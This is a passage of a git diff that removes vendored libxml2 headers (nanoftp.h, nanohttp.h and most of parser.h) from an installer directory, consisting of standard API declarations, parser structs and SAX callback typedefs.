*/ -/* xmlListSwap */ - -#ifdef __cplusplus -} -#endif - -#endif /* __XML_LINK_INCLUDE__ */ diff --git a/installer/libxml2/include/libxml/nanoftp.h b/installer/libxml2/include/libxml/nanoftp.h deleted file mode 100644 index abb4bf7..0000000 --- a/installer/libxml2/include/libxml/nanoftp.h +++ /dev/null @@ -1,163 +0,0 @@ -/* - * Summary: minimal FTP implementation - * Description: minimal FTP implementation allowing to fetch resources - * like external subset. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __NANO_FTP_H__ -#define __NANO_FTP_H__ - -#include - -#ifdef LIBXML_FTP_ENABLED - -/* Needed for portability to Windows 64 bits */ -#if defined(__MINGW32__) || defined(_WIN32_WCE) -#include -#else -/** - * SOCKET: - * - * macro used to provide portability of code to windows sockets - */ -#define SOCKET int -/** - * INVALID_SOCKET: - * - * macro used to provide portability of code to windows sockets - * the value to be used when the socket is not valid - */ -#undef INVALID_SOCKET -#define INVALID_SOCKET (-1) -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * ftpListCallback: - * @userData: user provided data for the callback - * @filename: the file name (including "->" when links are shown) - * @attrib: the attribute string - * @owner: the owner string - * @group: the group string - * @size: the file size - * @links: the link count - * @year: the year - * @month: the month - * @day: the day - * @hour: the hour - * @minute: the minute - * - * A callback for the xmlNanoFTPList command. - * Note that only one of year and day:minute are specified. - */ -typedef void (*ftpListCallback) (void *userData, - const char *filename, const char *attrib, - const char *owner, const char *group, - unsigned long size, int links, int year, - const char *month, int day, int hour, - int minute); -/** - * ftpDataCallback: - * @userData: the user provided context - * @data: the data received - * @len: its size in bytes - * - * A callback for the xmlNanoFTPGet command. - */ -typedef void (*ftpDataCallback) (void *userData, - const char *data, - int len); - -/* - * Init - */ -XMLPUBFUN void XMLCALL - xmlNanoFTPInit (void); -XMLPUBFUN void XMLCALL - xmlNanoFTPCleanup (void); - -/* - * Creating/freeing contexts. - */ -XMLPUBFUN void * XMLCALL - xmlNanoFTPNewCtxt (const char *URL); -XMLPUBFUN void XMLCALL - xmlNanoFTPFreeCtxt (void * ctx); -XMLPUBFUN void * XMLCALL - xmlNanoFTPConnectTo (const char *server, - int port); -/* - * Opening/closing session connections. - */ -XMLPUBFUN void * XMLCALL - xmlNanoFTPOpen (const char *URL); -XMLPUBFUN int XMLCALL - xmlNanoFTPConnect (void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoFTPClose (void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoFTPQuit (void *ctx); -XMLPUBFUN void XMLCALL - xmlNanoFTPScanProxy (const char *URL); -XMLPUBFUN void XMLCALL - xmlNanoFTPProxy (const char *host, - int port, - const char *user, - const char *passwd, - int type); -XMLPUBFUN int XMLCALL - xmlNanoFTPUpdateURL (void *ctx, - const char *URL); - -/* - * Rather internal commands. - */ -XMLPUBFUN int XMLCALL - xmlNanoFTPGetResponse (void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoFTPCheckResponse (void *ctx); - -/* - * CD/DIR/GET handlers. - */ -XMLPUBFUN int XMLCALL - xmlNanoFTPCwd (void *ctx, - const char *directory); -XMLPUBFUN int XMLCALL - xmlNanoFTPDele (void *ctx, - const char *file); - -XMLPUBFUN SOCKET XMLCALL - xmlNanoFTPGetConnection (void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoFTPCloseConnection(void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoFTPList (void *ctx, - ftpListCallback callback, - void *userData, - const char *filename); -XMLPUBFUN SOCKET XMLCALL - xmlNanoFTPGetSocket (void *ctx, - const char *filename); -XMLPUBFUN int XMLCALL - xmlNanoFTPGet (void *ctx, - ftpDataCallback callback, - void *userData, - const char *filename); -XMLPUBFUN int XMLCALL - xmlNanoFTPRead (void *ctx, - void *dest, - int len); - -#ifdef __cplusplus -} -#endif -#endif /* LIBXML_FTP_ENABLED */ -#endif /* __NANO_FTP_H__ */ diff --git a/installer/libxml2/include/libxml/nanohttp.h b/installer/libxml2/include/libxml/nanohttp.h deleted file mode 100644 index 22b8fb4..0000000 --- a/installer/libxml2/include/libxml/nanohttp.h +++ /dev/null @@ -1,81 +0,0 @@ -/* - * Summary: minimal HTTP implementation - * Description: minimal HTTP implementation allowing to fetch resources - * like external subset. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __NANO_HTTP_H__ -#define __NANO_HTTP_H__ - -#include - -#ifdef LIBXML_HTTP_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif -XMLPUBFUN void XMLCALL - xmlNanoHTTPInit (void); -XMLPUBFUN void XMLCALL - xmlNanoHTTPCleanup (void); -XMLPUBFUN void XMLCALL - xmlNanoHTTPScanProxy (const char *URL); -XMLPUBFUN int XMLCALL - xmlNanoHTTPFetch (const char *URL, - const char *filename, - char **contentType); -XMLPUBFUN void * XMLCALL - xmlNanoHTTPMethod (const char *URL, - const char *method, - const char *input, - char **contentType, - const char *headers, - int ilen); -XMLPUBFUN void * XMLCALL - xmlNanoHTTPMethodRedir (const char *URL, - const char *method, - const char *input, - char **contentType, - char **redir, - const char *headers, - int ilen); -XMLPUBFUN void * XMLCALL - xmlNanoHTTPOpen (const char *URL, - char **contentType); -XMLPUBFUN void * XMLCALL - xmlNanoHTTPOpenRedir (const char *URL, - char **contentType, - char **redir); -XMLPUBFUN int XMLCALL - xmlNanoHTTPReturnCode (void *ctx); -XMLPUBFUN const char * XMLCALL - xmlNanoHTTPAuthHeader (void *ctx); -XMLPUBFUN const char * XMLCALL - xmlNanoHTTPRedir (void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoHTTPContentLength( void * ctx ); -XMLPUBFUN const char * XMLCALL - xmlNanoHTTPEncoding (void *ctx); -XMLPUBFUN const char * XMLCALL - xmlNanoHTTPMimeType (void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoHTTPRead (void *ctx, - void *dest, - int len); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN int XMLCALL - xmlNanoHTTPSave (void *ctxt, - const char *filename); -#endif /* LIBXML_OUTPUT_ENABLED */ -XMLPUBFUN void XMLCALL - xmlNanoHTTPClose (void *ctx); -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_HTTP_ENABLED */ -#endif /* __NANO_HTTP_H__ */ diff --git a/installer/libxml2/include/libxml/parser.h b/installer/libxml2/include/libxml/parser.h deleted file mode 100644 index 47fbec0..0000000 --- a/installer/libxml2/include/libxml/parser.h +++ /dev/null @@ -1,1241 +0,0 @@ -/* - * Summary: the core parser module - * Description: Interfaces, constants and types related to the XML parser - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_PARSER_H__ -#define __XML_PARSER_H__ - -#include - -#include -#include -#include -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * XML_DEFAULT_VERSION: - * - * The default version of XML used: 1.0 - */ -#define XML_DEFAULT_VERSION "1.0" - -/** - * xmlParserInput: - * - * An xmlParserInput is an input flow for the XML processor. - * Each entity parsed is associated an xmlParserInput (except the - * few predefined ones). This is the case both for internal entities - * - in which case the flow is already completely in memory - or - * external entities - in which case we use the buf structure for - * progressive reading and I18N conversions to the internal UTF-8 format. - */ - -/** - * xmlParserInputDeallocate: - * @str: the string to deallocate - * - * Callback for freeing some parser input allocations. - */ -typedef void (* xmlParserInputDeallocate)(xmlChar *str); - -struct _xmlParserInput { - /* Input buffer */ - xmlParserInputBufferPtr buf; /* UTF-8 encoded buffer */ - - const char *filename; /* The file analyzed, if any */ - const char *directory; /* the directory/base of the file */ - const xmlChar *base; /* Base of the array to parse */ - const xmlChar *cur; /* Current char being parsed */ - const xmlChar *end; /* end of the array to parse */ - int length; /* length if known */ - int line; /* Current line */ - int col; /* Current column */ - /* - * NOTE: consumed is only tested for equality in the parser code, - * so even if there is an overflow this should not give troubles - * for parsing very large instances. - */ - unsigned long consumed; /* How many xmlChars already consumed */ - xmlParserInputDeallocate free; /* function to deallocate the base */ - const xmlChar *encoding; /* the encoding string for entity */ - const xmlChar *version; /* the version string for entity */ - int standalone; /* Was that entity marked standalone */ - int id; /* an unique identifier for the entity */ -}; - -/** - * xmlParserNodeInfo: - * - * The parser can be asked to collect Node informations, i.e. at what - * place in the file they were detected. - * NOTE: This is off by default and not very well tested. - */ -typedef struct _xmlParserNodeInfo xmlParserNodeInfo; -typedef xmlParserNodeInfo *xmlParserNodeInfoPtr; - -struct _xmlParserNodeInfo { - const struct _xmlNode* node; - /* Position & line # that text that created the node begins & ends on */ - unsigned long begin_pos; - unsigned long begin_line; - unsigned long end_pos; - unsigned long end_line; -}; - -typedef struct _xmlParserNodeInfoSeq xmlParserNodeInfoSeq; -typedef xmlParserNodeInfoSeq *xmlParserNodeInfoSeqPtr; -struct _xmlParserNodeInfoSeq { - unsigned long maximum; - unsigned long length; - xmlParserNodeInfo* buffer; -}; - -/** - * xmlParserInputState: - * - * The parser is now working also as a state based parser. - * The recursive one use the state info for entities processing. - */ -typedef enum { - XML_PARSER_EOF = -1, /* nothing is to be parsed */ - XML_PARSER_START = 0, /* nothing has been parsed */ - XML_PARSER_MISC, /* Misc* before int subset */ - XML_PARSER_PI, /* Within a processing instruction */ - XML_PARSER_DTD, /* within some DTD content */ - XML_PARSER_PROLOG, /* Misc* after internal subset */ - XML_PARSER_COMMENT, /* within a comment */ - XML_PARSER_START_TAG, /* within a start tag */ - XML_PARSER_CONTENT, /* within the content */ - XML_PARSER_CDATA_SECTION, /* within a CDATA section */ - XML_PARSER_END_TAG, /* within a closing tag */ - XML_PARSER_ENTITY_DECL, /* within an entity declaration */ - XML_PARSER_ENTITY_VALUE, /* within an entity value in a decl */ - XML_PARSER_ATTRIBUTE_VALUE, /* within an attribute value */ - XML_PARSER_SYSTEM_LITERAL, /* within a SYSTEM value */ - XML_PARSER_EPILOG, /* the Misc* after the last end tag */ - XML_PARSER_IGNORE, /* within an IGNORED section */ - XML_PARSER_PUBLIC_LITERAL /* within a PUBLIC value */ -} xmlParserInputState; - -/** - * XML_DETECT_IDS: - * - * Bit in the loadsubset context field to tell to do ID/REFs lookups. - * Use it to initialize xmlLoadExtDtdDefaultValue. - */ -#define XML_DETECT_IDS 2 - -/** - * XML_COMPLETE_ATTRS: - * - * Bit in the loadsubset context field to tell to do complete the - * elements attributes lists with the ones defaulted from the DTDs. - * Use it to initialize xmlLoadExtDtdDefaultValue. - */ -#define XML_COMPLETE_ATTRS 4 - -/** - * XML_SKIP_IDS: - * - * Bit in the loadsubset context field to tell to not do ID/REFs registration. - * Used to initialize xmlLoadExtDtdDefaultValue in some special cases. - */ -#define XML_SKIP_IDS 8 - -/** - * xmlParserMode: - * - * A parser can operate in various modes - */ -typedef enum { - XML_PARSE_UNKNOWN = 0, - XML_PARSE_DOM = 1, - XML_PARSE_SAX = 2, - XML_PARSE_PUSH_DOM = 3, - XML_PARSE_PUSH_SAX = 4, - XML_PARSE_READER = 5 -} xmlParserMode; - -/** - * xmlParserCtxt: - * - * The parser context. - * NOTE This doesn't completely define the parser state, the (current ?) - * design of the parser uses recursive function calls since this allow - * and easy mapping from the production rules of the specification - * to the actual code. The drawback is that the actual function call - * also reflect the parser state. However most of the parsing routines - * takes as the only argument the parser context pointer, so migrating - * to a state based parser for progressive parsing shouldn't be too hard. - */ -struct _xmlParserCtxt { - struct _xmlSAXHandler *sax; /* The SAX handler */ - void *userData; /* For SAX interface only, used by DOM build */ - xmlDocPtr myDoc; /* the document being built */ - int wellFormed; /* is the document well formed */ - int replaceEntities; /* shall we replace entities ? */ - const xmlChar *version; /* the XML version string */ - const xmlChar *encoding; /* the declared encoding, if any */ - int standalone; /* standalone document */ - int html; /* an HTML(1)/Docbook(2) document - * 3 is HTML after - * 10 is HTML after - */ - - /* Input stream stack */ - xmlParserInputPtr input; /* Current input stream */ - int inputNr; /* Number of current input streams */ - int inputMax; /* Max number of input streams */ - xmlParserInputPtr *inputTab; /* stack of inputs */ - - /* Node analysis stack only used for DOM building */ - xmlNodePtr node; /* Current parsed Node */ - int nodeNr; /* Depth of the parsing stack */ - int nodeMax; /* Max depth of the parsing stack */ - xmlNodePtr *nodeTab; /* array of nodes */ - - int record_info; /* Whether node info should be kept */ - xmlParserNodeInfoSeq node_seq; /* info about each node parsed */ - - int errNo; /* error code */ - - int hasExternalSubset; /* reference and external subset */ - int hasPErefs; /* the internal subset has PE refs */ - int external; /* are we parsing an external entity */ - - int valid; /* is the document valid */ - int validate; /* shall we try to validate ? */ - xmlValidCtxt vctxt; /* The validity context */ - - xmlParserInputState instate; /* current type of input */ - int token; /* next char look-ahead */ - - char *directory; /* the data directory */ - - /* Node name stack */ - const xmlChar *name; /* Current parsed Node */ - int nameNr; /* Depth of the parsing stack */ - int nameMax; /* Max depth of the parsing stack */ - const xmlChar * *nameTab; /* array of nodes */ - - long nbChars; /* number of xmlChar processed */ - long checkIndex; /* used by progressive parsing lookup */ - int keepBlanks; /* ugly but ... */ - int disableSAX; /* SAX callbacks are disabled */ - int inSubset; /* Parsing is in int 1/ext 2 subset */ - const xmlChar * intSubName; /* name of subset */ - xmlChar * extSubURI; /* URI of external subset */ - xmlChar * extSubSystem; /* SYSTEM ID of external subset */ - - /* xml:space values */ - int * space; /* Should the parser preserve spaces */ - int spaceNr; /* Depth of the parsing stack */ - int spaceMax; /* Max depth of the parsing stack */ - int * spaceTab; /* array of space infos */ - - int depth; /* to prevent entity substitution loops */ - xmlParserInputPtr entity; /* used to check entities boundaries */ - int charset; /* encoding of the in-memory content - actually an xmlCharEncoding */ - int nodelen; /* Those two fields are there to */ - int nodemem; /* Speed up large node parsing */ - int pedantic; /* signal pedantic warnings */ - void *_private; /* For user data, libxml won't touch it */ - - int loadsubset; /* should the external subset be loaded */ - int linenumbers; /* set line number in element content */ - void *catalogs; /* document's own catalog */ - int recovery; /* run in recovery mode */ - int progressive; /* is this a progressive parsing */ - xmlDictPtr dict; /* dictionary for the parser */ - const xmlChar * *atts; /* array for the attributes callbacks */ - int maxatts; /* the size of the array */ - int docdict; /* use strings from dict to build tree */ - - /* - * pre-interned strings - */ - const xmlChar *str_xml; - const xmlChar *str_xmlns; - const xmlChar *str_xml_ns; - - /* - * Everything below is used only by the new SAX mode - */ - int sax2; /* operating in the new SAX mode */ - int nsNr; /* the number of inherited namespaces */ - int nsMax; /* the size of the arrays */ - const xmlChar * *nsTab; /* the array of prefix/namespace name */ - int *attallocs; /* which attribute were allocated */ - void * *pushTab; /* array of data for push */ - xmlHashTablePtr attsDefault; /* defaulted attributes if any */ - xmlHashTablePtr attsSpecial; /* non-CDATA attributes if any */ - int nsWellFormed; /* is the document XML Nanespace okay */ - int options; /* Extra options */ - - /* - * Those fields are needed only for treaming parsing so far - */ - int dictNames; /* Use dictionary names for the tree */ - int freeElemsNr; /* number of freed element nodes */ - xmlNodePtr freeElems; /* List of freed element nodes */ - int freeAttrsNr; /* number of freed attributes nodes */ - xmlAttrPtr freeAttrs; /* List of freed attributes nodes */ - - /* - * the complete error informations for the last error. - */ - xmlError lastError; - xmlParserMode parseMode; /* the parser mode */ - unsigned long nbentities; /* number of entities references */ - unsigned long sizeentities; /* size of parsed entities */ - - /* for use by HTML non-recursive parser */ - xmlParserNodeInfo *nodeInfo; /* Current NodeInfo */ - int nodeInfoNr; /* Depth of the parsing stack */ - int nodeInfoMax; /* Max depth of the parsing stack */ - xmlParserNodeInfo *nodeInfoTab; /* array of nodeInfos */ - - int input_id; /* we need to label inputs */ - unsigned long sizeentcopy; /* volume of entity copy */ -}; - -/** - * xmlSAXLocator: - * - * A SAX Locator. - */ -struct _xmlSAXLocator { - const xmlChar *(*getPublicId)(void *ctx); - const xmlChar *(*getSystemId)(void *ctx); - int (*getLineNumber)(void *ctx); - int (*getColumnNumber)(void *ctx); -}; - -/** - * xmlSAXHandler: - * - * A SAX handler is bunch of callbacks called by the parser when processing - * of the input generate data or structure informations. - */ - -/** - * resolveEntitySAXFunc: - * @ctx: the user data (XML parser context) - * @publicId: The public ID of the entity - * @systemId: The system ID of the entity - * - * Callback: - * The entity loader, to control the loading of external entities, - * the application can either: - * - override this resolveEntity() callback in the SAX block - * - or better use the xmlSetExternalEntityLoader() function to - * set up it's own entity resolution routine - * - * Returns the xmlParserInputPtr if inlined or NULL for DOM behaviour. - */ -typedef xmlParserInputPtr (*resolveEntitySAXFunc) (void *ctx, - const xmlChar *publicId, - const xmlChar *systemId); -/** - * internalSubsetSAXFunc: - * @ctx: the user data (XML parser context) - * @name: the root element name - * @ExternalID: the external ID - * @SystemID: the SYSTEM ID (e.g. filename or URL) - * - * Callback on internal subset declaration. - */ -typedef void (*internalSubsetSAXFunc) (void *ctx, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -/** - * externalSubsetSAXFunc: - * @ctx: the user data (XML parser context) - * @name: the root element name - * @ExternalID: the external ID - * @SystemID: the SYSTEM ID (e.g. filename or URL) - * - * Callback on external subset declaration. - */ -typedef void (*externalSubsetSAXFunc) (void *ctx, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -/** - * getEntitySAXFunc: - * @ctx: the user data (XML parser context) - * @name: The entity name - * - * Get an entity by name. - * - * Returns the xmlEntityPtr if found. - */ -typedef xmlEntityPtr (*getEntitySAXFunc) (void *ctx, - const xmlChar *name); -/** - * getParameterEntitySAXFunc: - * @ctx: the user data (XML parser context) - * @name: The entity name - * - * Get a parameter entity by name. - * - * Returns the xmlEntityPtr if found. - */ -typedef xmlEntityPtr (*getParameterEntitySAXFunc) (void *ctx, - const xmlChar *name); -/** - * entityDeclSAXFunc: - * @ctx: the user data (XML parser context) - * @name: the entity name - * @type: the entity type - * @publicId: The public ID of the entity - * @systemId: The system ID of the entity - * @content: the entity value (without processing). - * - * An entity definition has been parsed. - */ -typedef void (*entityDeclSAXFunc) (void *ctx, - const xmlChar *name, - int type, - const xmlChar *publicId, - const xmlChar *systemId, - xmlChar *content); -/** - * notationDeclSAXFunc: - * @ctx: the user data (XML parser context) - * @name: The name of the notation - * @publicId: The public ID of the entity - * @systemId: The system ID of the entity - * - * What to do when a notation declaration has been parsed. - */ -typedef void (*notationDeclSAXFunc)(void *ctx, - const xmlChar *name, - const xmlChar *publicId, - const xmlChar *systemId); -/** - * attributeDeclSAXFunc: - * @ctx: the user data (XML parser context) - * @elem: the name of the element - * @fullname: the attribute name - * @type: the attribute type - * @def: the type of default value - * @defaultValue: the attribute default value - * @tree: the tree of enumerated value set - * - * An attribute definition has been parsed. - */ -typedef void (*attributeDeclSAXFunc)(void *ctx, - const xmlChar *elem, - const xmlChar *fullname, - int type, - int def, - const xmlChar *defaultValue, - xmlEnumerationPtr tree); -/** - * elementDeclSAXFunc: - * @ctx: the user data (XML parser context) - * @name: the element name - * @type: the element type - * @content: the element value tree - * - * An element definition has been parsed. - */ -typedef void (*elementDeclSAXFunc)(void *ctx, - const xmlChar *name, - int type, - xmlElementContentPtr content); -/** - * unparsedEntityDeclSAXFunc: - * @ctx: the user data (XML parser context) - * @name: The name of the entity - * @publicId: The public ID of the entity - * @systemId: The system ID of the entity - * @notationName: the name of the notation - * - * What to do when an unparsed entity declaration is parsed. - */ -typedef void (*unparsedEntityDeclSAXFunc)(void *ctx, - const xmlChar *name, - const xmlChar *publicId, - const xmlChar *systemId, - const xmlChar *notationName); -/** - * setDocumentLocatorSAXFunc: - * @ctx: the user data (XML parser context) - * @loc: A SAX Locator - * - * Receive the document locator at startup, actually xmlDefaultSAXLocator. - * Everything is available on the context, so this is useless in our case. - */ -typedef void (*setDocumentLocatorSAXFunc) (void *ctx, - xmlSAXLocatorPtr loc); -/** - * startDocumentSAXFunc: - * @ctx: the user data (XML parser context) - * - * Called when the document start being processed. - */ -typedef void (*startDocumentSAXFunc) (void *ctx); -/** - * endDocumentSAXFunc: - * @ctx: the user data (XML parser context) - * - * Called when the document end has been detected. - */ -typedef void (*endDocumentSAXFunc) (void *ctx); -/** - * startElementSAXFunc: - * @ctx: the user data (XML parser context) - * @name: The element name, including namespace prefix - * @atts: An array of name/value attributes pairs, NULL terminated - * - * Called when an opening tag has been processed. - */ -typedef void (*startElementSAXFunc) (void *ctx, - const xmlChar *name, - const xmlChar **atts); -/** - * endElementSAXFunc: - * @ctx: the user data (XML parser context) - * @name: The element name - * - * Called when the end of an element has been detected. - */ -typedef void (*endElementSAXFunc) (void *ctx, - const xmlChar *name); -/** - * attributeSAXFunc: - * @ctx: the user data (XML parser context) - * @name: The attribute name, including namespace prefix - * @value: The attribute value - * - * Handle an attribute that has been read by the parser. - * The default handling is to convert the attribute into an - * DOM subtree and past it in a new xmlAttr element added to - * the element. - */ -typedef void (*attributeSAXFunc) (void *ctx, - const xmlChar *name, - const xmlChar *value); -/** - * referenceSAXFunc: - * @ctx: the user data (XML parser context) - * @name: The entity name - * - * Called when an entity reference is detected. - */ -typedef void (*referenceSAXFunc) (void *ctx, - const xmlChar *name); -/** - * charactersSAXFunc: - * @ctx: the user data (XML parser context) - * @ch: a xmlChar string - * @len: the number of xmlChar - * - * Receiving some chars from the parser. - */ -typedef void (*charactersSAXFunc) (void *ctx, - const xmlChar *ch, - int len); -/** - * ignorableWhitespaceSAXFunc: - * @ctx: the user data (XML parser context) - * @ch: a xmlChar string - * @len: the number of xmlChar - * - * Receiving some ignorable whitespaces from the parser. - * UNUSED: by default the DOM building will use characters. - */ -typedef void (*ignorableWhitespaceSAXFunc) (void *ctx, - const xmlChar *ch, - int len); -/** - * processingInstructionSAXFunc: - * @ctx: the user data (XML parser context) - * @target: the target name - * @data: the PI data's - * - * A processing instruction has been parsed. - */ -typedef void (*processingInstructionSAXFunc) (void *ctx, - const xmlChar *target, - const xmlChar *data); -/** - * commentSAXFunc: - * @ctx: the user data (XML parser context) - * @value: the comment content - * - * A comment has been parsed. - */ -typedef void (*commentSAXFunc) (void *ctx, - const xmlChar *value); -/** - * cdataBlockSAXFunc: - * @ctx: the user data (XML parser context) - * @value: The pcdata content - * @len: the block length - * - * Called when a pcdata block has been parsed. - */ -typedef void (*cdataBlockSAXFunc) ( - void *ctx, - const xmlChar *value, - int len); -/** - * warningSAXFunc: - * @ctx: an XML parser context - * @msg: the message to display/transmit - * @...: extra parameters for the message display - * - * Display and format a warning messages, callback. - */ -typedef void (XMLCDECL *warningSAXFunc) (void *ctx, - const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); -/** - * errorSAXFunc: - * @ctx: an XML parser context - * @msg: the message to display/transmit - * @...: extra parameters for the message display - * - * Display and format an error messages, callback. - */ -typedef void (XMLCDECL *errorSAXFunc) (void *ctx, - const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); -/** - * fatalErrorSAXFunc: - * @ctx: an XML parser context - * @msg: the message to display/transmit - * @...: extra parameters for the message display - * - * Display and format fatal error messages, callback. - * Note: so far fatalError() SAX callbacks are not used, error() - * get all the callbacks for errors. - */ -typedef void (XMLCDECL *fatalErrorSAXFunc) (void *ctx, - const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); -/** - * isStandaloneSAXFunc: - * @ctx: the user data (XML parser context) - * - * Is this document tagged standalone? - * - * Returns 1 if true - */ -typedef int (*isStandaloneSAXFunc) (void *ctx); -/** - * hasInternalSubsetSAXFunc: - * @ctx: the user data (XML parser context) - * - * Does this document has an internal subset. - * - * Returns 1 if true - */ -typedef int (*hasInternalSubsetSAXFunc) (void *ctx); - -/** - * hasExternalSubsetSAXFunc: - * @ctx: the user data (XML parser context) - * - * Does this document has an external subset? - * - * Returns 1 if true - */ -typedef int (*hasExternalSubsetSAXFunc) (void *ctx); - -/************************************************************************ - * * - * The SAX version 2 API extensions * - * * - ************************************************************************/ -/** - * XML_SAX2_MAGIC: - * - * Special constant found in SAX2 blocks initialized fields - */ -#define XML_SAX2_MAGIC 0xDEEDBEAF - -/** - * startElementNsSAX2Func: - * @ctx: the user data (XML parser context) - * @localname: the local name of the element - * @prefix: the element namespace prefix if available - * @URI: the element namespace name if available - * @nb_namespaces: number of namespace definitions on that node - * @namespaces: pointer to the array of prefix/URI pairs namespace definitions - * @nb_attributes: the number of attributes on that node - * @nb_defaulted: the number of defaulted attributes. The defaulted - * ones are at the end of the array - * @attributes: pointer to the array of (localname/prefix/URI/value/end) - * attribute values. - * - * SAX2 callback when an element start has been detected by the parser. - * It provides the namespace informations for the element, as well as - * the new namespace declarations on the element. - */ - -typedef void (*startElementNsSAX2Func) (void *ctx, - const xmlChar *localname, - const xmlChar *prefix, - const xmlChar *URI, - int nb_namespaces, - const xmlChar **namespaces, - int nb_attributes, - int nb_defaulted, - const xmlChar **attributes); - -/** - * endElementNsSAX2Func: - * @ctx: the user data (XML parser context) - * @localname: the local name of the element - * @prefix: the element namespace prefix if available - * @URI: the element namespace name if available - * - * SAX2 callback when an element end has been detected by the parser. - * It provides the namespace informations for the element. - */ - -typedef void (*endElementNsSAX2Func) (void *ctx, - const xmlChar *localname, - const xmlChar *prefix, - const xmlChar *URI); - - -struct _xmlSAXHandler { - internalSubsetSAXFunc internalSubset; - isStandaloneSAXFunc isStandalone; - hasInternalSubsetSAXFunc hasInternalSubset; - hasExternalSubsetSAXFunc hasExternalSubset; - resolveEntitySAXFunc resolveEntity; - getEntitySAXFunc getEntity; - entityDeclSAXFunc entityDecl; - notationDeclSAXFunc notationDecl; - attributeDeclSAXFunc attributeDecl; - elementDeclSAXFunc elementDecl; - unparsedEntityDeclSAXFunc unparsedEntityDecl; - setDocumentLocatorSAXFunc setDocumentLocator; - startDocumentSAXFunc startDocument; - endDocumentSAXFunc endDocument; - startElementSAXFunc startElement; - endElementSAXFunc endElement; - referenceSAXFunc reference; - charactersSAXFunc characters; - ignorableWhitespaceSAXFunc ignorableWhitespace; - processingInstructionSAXFunc processingInstruction; - commentSAXFunc comment; - warningSAXFunc warning; - errorSAXFunc error; - fatalErrorSAXFunc fatalError; /* unused error() get all the errors */ - getParameterEntitySAXFunc getParameterEntity; - cdataBlockSAXFunc cdataBlock; - externalSubsetSAXFunc externalSubset; - unsigned int initialized; - /* The following fields are extensions available only on version 2 */ - void *_private; - startElementNsSAX2Func startElementNs; - endElementNsSAX2Func endElementNs; - xmlStructuredErrorFunc serror; -}; - -/* - * SAX Version 1 - */ -typedef struct _xmlSAXHandlerV1 xmlSAXHandlerV1; -typedef xmlSAXHandlerV1 *xmlSAXHandlerV1Ptr; -struct _xmlSAXHandlerV1 { - internalSubsetSAXFunc internalSubset; - isStandaloneSAXFunc isStandalone; - hasInternalSubsetSAXFunc hasInternalSubset; - hasExternalSubsetSAXFunc hasExternalSubset; - resolveEntitySAXFunc resolveEntity; - getEntitySAXFunc getEntity; - entityDeclSAXFunc entityDecl; - notationDeclSAXFunc notationDecl; - attributeDeclSAXFunc attributeDecl; - elementDeclSAXFunc elementDecl; - unparsedEntityDeclSAXFunc unparsedEntityDecl; - setDocumentLocatorSAXFunc setDocumentLocator; - startDocumentSAXFunc startDocument; - endDocumentSAXFunc endDocument; - startElementSAXFunc startElement; - endElementSAXFunc endElement; - referenceSAXFunc reference; - charactersSAXFunc characters; - ignorableWhitespaceSAXFunc ignorableWhitespace; - processingInstructionSAXFunc processingInstruction; - commentSAXFunc comment; - warningSAXFunc warning; - errorSAXFunc error; - fatalErrorSAXFunc fatalError; /* unused error() get all the errors */ - getParameterEntitySAXFunc getParameterEntity; - cdataBlockSAXFunc cdataBlock; - externalSubsetSAXFunc externalSubset; - unsigned int initialized; -}; - - -/** - * xmlExternalEntityLoader: - * @URL: The System ID of the resource requested - * @ID: The Public ID of the resource requested - * @context: the XML parser context - * - * External entity loaders types. - * - * Returns the entity input parser. - */ -typedef xmlParserInputPtr (*xmlExternalEntityLoader) (const char *URL, - const char *ID, - xmlParserCtxtPtr context); - -#ifdef __cplusplus -} -#endif - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - - -/* - * Init/Cleanup - */ -XMLPUBFUN void XMLCALL - xmlInitParser (void); -XMLPUBFUN void XMLCALL - xmlCleanupParser (void); - -/* - * Input functions - */ -XMLPUBFUN int XMLCALL - xmlParserInputRead (xmlParserInputPtr in, - int len); -XMLPUBFUN int XMLCALL - xmlParserInputGrow (xmlParserInputPtr in, - int len); - -/* - * Basic parsing Interfaces - */ -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN xmlDocPtr XMLCALL - xmlParseDoc (const xmlChar *cur); -XMLPUBFUN xmlDocPtr XMLCALL - xmlParseFile (const char *filename); -XMLPUBFUN xmlDocPtr XMLCALL - xmlParseMemory (const char *buffer, - int size); -#endif /* LIBXML_SAX1_ENABLED */ -XMLPUBFUN int XMLCALL - xmlSubstituteEntitiesDefault(int val); -XMLPUBFUN int XMLCALL - xmlKeepBlanksDefault (int val); -XMLPUBFUN void XMLCALL - xmlStopParser (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlPedanticParserDefault(int val); -XMLPUBFUN int XMLCALL - xmlLineNumbersDefault (int val); - -#ifdef LIBXML_SAX1_ENABLED -/* - * Recovery mode - */ -XMLPUBFUN xmlDocPtr XMLCALL - xmlRecoverDoc (const xmlChar *cur); -XMLPUBFUN xmlDocPtr XMLCALL - xmlRecoverMemory (const char *buffer, - int size); -XMLPUBFUN xmlDocPtr XMLCALL - xmlRecoverFile (const char *filename); -#endif /* LIBXML_SAX1_ENABLED */ - -/* - * Less common routines and SAX interfaces - */ -XMLPUBFUN int XMLCALL - xmlParseDocument (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlParseExtParsedEnt (xmlParserCtxtPtr ctxt); -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN int XMLCALL - xmlSAXUserParseFile (xmlSAXHandlerPtr 